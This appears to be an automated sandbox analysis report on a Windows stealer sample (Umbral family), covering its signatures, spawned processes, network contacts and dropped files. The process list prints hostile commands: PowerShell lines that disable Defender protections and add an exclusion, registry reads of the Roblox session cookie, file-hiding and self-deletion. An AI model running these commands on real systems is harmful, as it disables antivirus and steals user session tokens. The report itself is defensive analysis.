Malware Analysis Report

2024-10-10 10:00

Sample ID 240619-m19jaatcln
Target PlagueByKitty.exe
SHA256 cdf0afcac0224a29fd1f7f02157a28f2ece5581a49fede543b337907af1d9288
Tags
umbral execution spyware stealer
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

cdf0afcac0224a29fd1f7f02157a28f2ece5581a49fede543b337907af1d9288

Threat Level: Known bad

The file PlagueByKitty.exe was found to be: Known bad.

Malicious Activity Summary

umbral execution spyware stealer

Umbral

Detect Umbral payload

Umbral family

Drops file in Drivers directory

Command and Scripting Interpreter: PowerShell

Reads user/profile data of web browsers

Legitimate hosting services abused for malware hosting/C2

Looks up external IP address via web service

Unsigned PE

Views/modifies file attributes

Suspicious behavior: EnumeratesProcesses

Detects videocard installed

Suspicious use of AdjustPrivilegeToken

Suspicious use of WriteProcessMemory

Runs ping.exe

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-06-19 10:57

Signatures

Detect Umbral payload

Description Indicator Process Target
N/A N/A N/A N/A

Umbral family

umbral

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-06-19 10:57

Reported

2024-06-19 10:57

Platform

win11-20240611-en

Max time kernel

34s

Max time network

38s

Command Line

"C:\Users\Admin\AppData\Local\Temp\PlagueByKitty.exe"

Signatures

Detect Umbral payload

Description Indicator Process Target
N/A N/A N/A N/A

Umbral

stealer umbral

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Drops file in Drivers directory

Description Indicator Process Target
File opened for modification C:\Windows\System32\drivers\etc\hosts C:\Users\Admin\AppData\Local\Temp\PlagueByKitty.exe N/A

Reads user/profile data of web browsers

spyware stealer

Legitimate hosting services abused for malware hosting/C2

Description Indicator Process Target
N/A discord.com N/A N/A
N/A discord.com N/A N/A

Looks up external IP address via web service

Description Indicator Process Target
N/A ip-api.com N/A N/A

Detects videocard installed

Description Indicator Process Target
N/A N/A C:\Windows\System32\Wbem\wmic.exe N/A

Runs ping.exe

Description Indicator Process Target
N/A N/A C:\Windows\system32\PING.EXE N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\PlagueByKitty.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 36 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 36 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 3620 wrote to memory of 2308 N/A C:\Users\Admin\AppData\Local\Temp\PlagueByKitty.exe C:\Windows\System32\Wbem\wmic.exe
PID 3620 wrote to memory of 2308 N/A C:\Users\Admin\AppData\Local\Temp\PlagueByKitty.exe C:\Windows\System32\Wbem\wmic.exe
PID 3620 wrote to memory of 5100 N/A C:\Users\Admin\AppData\Local\Temp\PlagueByKitty.exe C:\Windows\SYSTEM32\attrib.exe
PID 3620 wrote to memory of 5100 N/A C:\Users\Admin\AppData\Local\Temp\PlagueByKitty.exe C:\Windows\SYSTEM32\attrib.exe
PID 3620 wrote to memory of 3364 N/A C:\Users\Admin\AppData\Local\Temp\PlagueByKitty.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3620 wrote to memory of 3364 N/A C:\Users\Admin\AppData\Local\Temp\PlagueByKitty.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3620 wrote to memory of 3680 N/A C:\Users\Admin\AppData\Local\Temp\PlagueByKitty.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3620 wrote to memory of 3680 N/A C:\Users\Admin\AppData\Local\Temp\PlagueByKitty.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3620 wrote to memory of 4676 N/A C:\Users\Admin\AppData\Local\Temp\PlagueByKitty.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3620 wrote to memory of 4676 N/A C:\Users\Admin\AppData\Local\Temp\PlagueByKitty.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3620 wrote to memory of 4996 N/A C:\Users\Admin\AppData\Local\Temp\PlagueByKitty.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3620 wrote to memory of 4996 N/A C:\Users\Admin\AppData\Local\Temp\PlagueByKitty.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3620 wrote to memory of 1660 N/A C:\Users\Admin\AppData\Local\Temp\PlagueByKitty.exe C:\Windows\System32\Wbem\wmic.exe
PID 3620 wrote to memory of 1660 N/A C:\Users\Admin\AppData\Local\Temp\PlagueByKitty.exe C:\Windows\System32\Wbem\wmic.exe
PID 3620 wrote to memory of 1960 N/A C:\Users\Admin\AppData\Local\Temp\PlagueByKitty.exe C:\Windows\System32\Wbem\wmic.exe
PID 3620 wrote to memory of 1960 N/A C:\Users\Admin\AppData\Local\Temp\PlagueByKitty.exe C:\Windows\System32\Wbem\wmic.exe
PID 3620 wrote to memory of 3536 N/A C:\Users\Admin\AppData\Local\Temp\PlagueByKitty.exe C:\Windows\System32\Wbem\wmic.exe
PID 3620 wrote to memory of 3536 N/A C:\Users\Admin\AppData\Local\Temp\PlagueByKitty.exe C:\Windows\System32\Wbem\wmic.exe
PID 3620 wrote to memory of 2128 N/A C:\Users\Admin\AppData\Local\Temp\PlagueByKitty.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3620 wrote to memory of 2128 N/A C:\Users\Admin\AppData\Local\Temp\PlagueByKitty.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3620 wrote to memory of 3056 N/A C:\Users\Admin\AppData\Local\Temp\PlagueByKitty.exe C:\Windows\System32\Wbem\wmic.exe
PID 3620 wrote to memory of 3056 N/A C:\Users\Admin\AppData\Local\Temp\PlagueByKitty.exe C:\Windows\System32\Wbem\wmic.exe
PID 3620 wrote to memory of 3196 N/A C:\Users\Admin\AppData\Local\Temp\PlagueByKitty.exe C:\Windows\SYSTEM32\cmd.exe
PID 3620 wrote to memory of 3196 N/A C:\Users\Admin\AppData\Local\Temp\PlagueByKitty.exe C:\Windows\SYSTEM32\cmd.exe
PID 3196 wrote to memory of 1796 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\PING.EXE
PID 3196 wrote to memory of 1796 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\PING.EXE

Views/modifies file attributes

evasion
Description Indicator Process Target
N/A N/A C:\Windows\SYSTEM32\attrib.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\PlagueByKitty.exe

"C:\Users\Admin\AppData\Local\Temp\PlagueByKitty.exe"

C:\Windows\System32\Wbem\wmic.exe

"wmic.exe" csproduct get uuid

C:\Windows\SYSTEM32\attrib.exe

"attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\PlagueByKitty.exe"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\PlagueByKitty.exe'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY

C:\Windows\System32\Wbem\wmic.exe

"wmic.exe" os get Caption

C:\Windows\System32\Wbem\wmic.exe

"wmic.exe" computersystem get totalphysicalmemory

C:\Windows\System32\Wbem\wmic.exe

"wmic.exe" csproduct get uuid

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER

C:\Windows\System32\Wbem\wmic.exe

"wmic" path win32_VideoController get name

C:\Windows\SYSTEM32\cmd.exe

"cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\PlagueByKitty.exe" && pause

C:\Windows\system32\PING.EXE

ping localhost

Network

Country Destination Domain Proto
US 8.8.8.8:53 gstatic.com udp
GB 172.217.16.227:443 gstatic.com tcp
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 208.95.112.1:80 ip-api.com tcp
US 208.95.112.1:80 ip-api.com tcp
US 8.8.8.8:53 discord.com udp
US 162.159.128.233:443 discord.com tcp
US 8.8.8.8:53 55.36.223.20.in-addr.arpa udp
US 8.8.8.8:53 43.43.201.23.in-addr.arpa udp

Files

memory/3620-0-0x00007FFB7B2A3000-0x00007FFB7B2A5000-memory.dmp

memory/3620-1-0x000001C6EE560000-0x000001C6EE5E2000-memory.dmp

memory/3620-2-0x00007FFB7B2A0000-0x00007FFB7BD62000-memory.dmp

memory/3364-11-0x00000255B5970000-0x00000255B5992000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_30oaskto.24z.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/3364-12-0x00007FFB7B2A0000-0x00007FFB7BD62000-memory.dmp

memory/3364-13-0x00007FFB7B2A0000-0x00007FFB7BD62000-memory.dmp

memory/3364-14-0x00007FFB7B2A0000-0x00007FFB7BD62000-memory.dmp

memory/3364-17-0x00007FFB7B2A0000-0x00007FFB7BD62000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

MD5 437395ef86850fbff98c12dff89eb621
SHA1 9cec41e230fa9839de1e5c42b7dbc8b31df0d69c
SHA256 9c39f3e1ee674a289926fddddfc5549740c488686ec6513f53848a225c192ba6
SHA512 bc669893f5c97e80a62fc3d15383ed7c62ffc86bc986401735903019bb96a5f13e4d0f6356baa2021267503a4eb62681e58e28fcff435350e83aa425fa76cd64

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 25fdee90fce7b0b96dc2ee97ec66834a
SHA1 c32a6f1e3b1033bec69a5a41de255c98944dcdc9
SHA256 c433a9b0345ba06be0b2acc2fcb9d689f81837ada86b6fee2fb2b4b838d1ea6c
SHA512 b76230cb1cee4dc3e434bc49b239525f4ea51f449b0587b828a8888c6ff54d26c5cd16219934dbe44d4f84057d8e77bbc458d71e55b10d79ef8d0eda74e7399d

memory/3620-31-0x000001C6F0DB0000-0x000001C6F0E26000-memory.dmp

memory/3620-32-0x000001C6F0E30000-0x000001C6F0E80000-memory.dmp

memory/3620-33-0x000001C6F0D40000-0x000001C6F0D5E000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 db898457e05416e5098e24d21e280c05
SHA1 1b55bb4b5b7f6141b3664b7799c09beb97b19d63
SHA256 3c01e284788898cc05b5fd95ecb0ab3194249e66c1d909b328fe6641b76febab
SHA512 2cd8a2c160ce78348c55590c3e1fd627728e9833988b47f839eef5b43ac637c23a2900825ddab9c1bc31b15b4b4615fbbf6e63c41cfdf337b561645d8ad5059b

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 7332074ae2b01262736b6fbd9e100dac
SHA1 22f992165065107cc9417fa4117240d84414a13c
SHA256 baea84fda6c1f13090b8cbd91c920848946f10ce155ef31a1df4cd453ee7e4aa
SHA512 4ae6f0e012c31ac1fc2ff4a8877ce2b4667c45b6e651de798318a39a2b6fd39a6f72dffa8b0b89b7a045a27d724d195656faa25a9fec79b22f37ddebb5d22da2

memory/3620-64-0x000001C6F02D0000-0x000001C6F02DA000-memory.dmp

memory/3620-65-0x000001C6F0EC0000-0x000001C6F0ED2000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 337edf872320659358e7ff5657a9c0e6
SHA1 9cd25be8cd93ca1066d3d838659b3fe69756142f
SHA256 a373ef2d1ddd93760dba72bd8b33c5435a3e40b73db738dab04c16d579990d41
SHA512 1e2672c5cc0c971c558064d9b174a5cd28e9d22c6cc23ce65d023ef4b16b83b9f260f4a759ad3e3eb3a17b24043107dd7e786b509f02366ad2a05b4450af9deb

memory/3620-82-0x00007FFB7B2A0000-0x00007FFB7BD62000-memory.dmp